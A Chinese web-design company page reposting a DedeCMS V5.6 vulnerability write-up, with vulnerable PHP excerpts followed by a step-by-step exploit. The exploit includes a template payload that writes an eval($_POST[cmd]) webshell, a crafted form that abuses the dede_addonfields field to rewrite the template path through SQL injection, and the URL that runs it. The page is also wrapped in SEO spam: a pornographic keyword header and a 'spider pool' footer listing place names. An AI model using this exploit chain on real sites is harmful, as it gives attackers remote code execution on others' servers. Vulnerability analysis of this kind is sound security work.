91豆麻精品91久久久久久,中文在线资源,国产精品女视频,yw.139尤物在线精品视频

?
  歡迎訪問全國企業網站設計NO.1網站開發商平臺 付款方式
主頁 > 網站建設 > 建站知識 > DEDECMS網站管理系統模板執行漏洞

DEDECMS網站管理系統模板執行漏洞

POST TIME:2020-10-09

織夢DEDECMS網站管理系統模板執行漏洞
一個不小心,你的服務器就會被黑客攻破,比如數據庫密碼過于簡單,服務器密碼過于簡單,或者CMS系統漏洞。
 
下面是一個DEDE的模板執行漏洞。
漏洞描述:Dedecms V5.6 Final版本中的各個文件存在一系列問題,經過精心構造的含有惡意代表的模板內容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執行惡意代碼。
 
1、member/article_edit.php文件(注入):
漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內容進行update賦值。 
//分析處理附加表數據
$inadd_f = '';
if(!emptyempty($dede_addonfields))//自己構造$dede_addonfields
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
print_r($addonfields);
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
echo $inadd_f;
}
}
}
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//執行構造的sql
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 時出錯,請聯系管理員!","javascript:;");
exit();
}
}
 
2、include/inc_archives_view.php:
 
這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。 
 
//issystem==-1 表示單表模型,單表模型不支持redirecturl這類參數,因此限定內容普通模型才進行下面查詢
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
$this->Fields['templet'] = $this->addTableRow['templet'];//取值
$this->Fields['userip'] = $this->addTableRow['userip'];
}
$this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
$this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
$this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
}
else
{
$this->Fields['templet'] = $this->Fields['redirecturl'] = '';
}
//獲得模板文件位置
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet']))
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
$tid = $this->Fields['typeid'];
$filetag = str_replace('{cid}', $cid,$filetag);
$filetag = str_replace('{tid}', $tid,$filetag);
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
if(!file_exists($tmpfile))
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
}
return $tmpfile;
}
 
漏洞利用:
 
1.上傳一個模板文件:
 
注冊一個用戶,進入用戶管理后臺,發表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構造的模板,比如圖片名稱是: 
 
uploads/userup/2/12OMX04-15A.jpg
 
模板內容是(如果限制圖片格式,加gif89a): 
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
 
2.修改剛剛發表的文章,查看源文件,構造一個表單: 
 
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent"
action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>標題:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>標簽TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗號分開)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
<label>隸屬欄目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>測試欄目</option>
</select> <span style="color:#F00">*</span>(不能選擇帶顏色的分類)
<label>我的分類:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>請選擇分類...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(內容的簡要說明)
<label>縮略圖:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(這里構造)
</div>
<!-- 表單操作區域 -->
<h3 class="meTitle">詳細內容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank">
<img border="0" alt="" src="/anquan/UploadFiles_3093/201008/20100819191753331.jpg" width="1010" height="456" /></a></div>
<p><?phpinfo()?>1111111</p>
" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" />
<iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%"
height="350" frameborder="0" scrolling="no"></iframe>
<label>驗證碼:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?點擊更換" align="absmiddle"
style="cursor:pointer" onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>
 
提交,提示修改成功,則我們已經成功修改模板路徑。
 
3.訪問修改的文章:
假設剛剛修改的文章的aid為2,則我們只需要訪問: 
http://127.0.0.1/dede/plus/view.php?aid=2 
即可以在plus目錄下生成小馬:1.php
? 主站蜘蛛池模板: 通山县| 黄骅市| 龙口市| 澄江县| 寿宁县| 长泰县| 青冈县| 邹平县| 普兰县| 湖南省| 南皮县| 绥棱县| 广平县| 唐海县| 蓬安县| 团风县| 顺昌县| 乡宁县| 巫山县| 洞口县| 晋城| 桑日县| 漯河市| 大宁县| 平邑县| 兴海县| 徐州市| 翁牛特旗| 正蓝旗| 东辽县| 新竹县| 娱乐| 赫章县| 收藏| 穆棱市| 香格里拉县| 西昌市| 宁化县| 长武县| 新野县| 榆社县|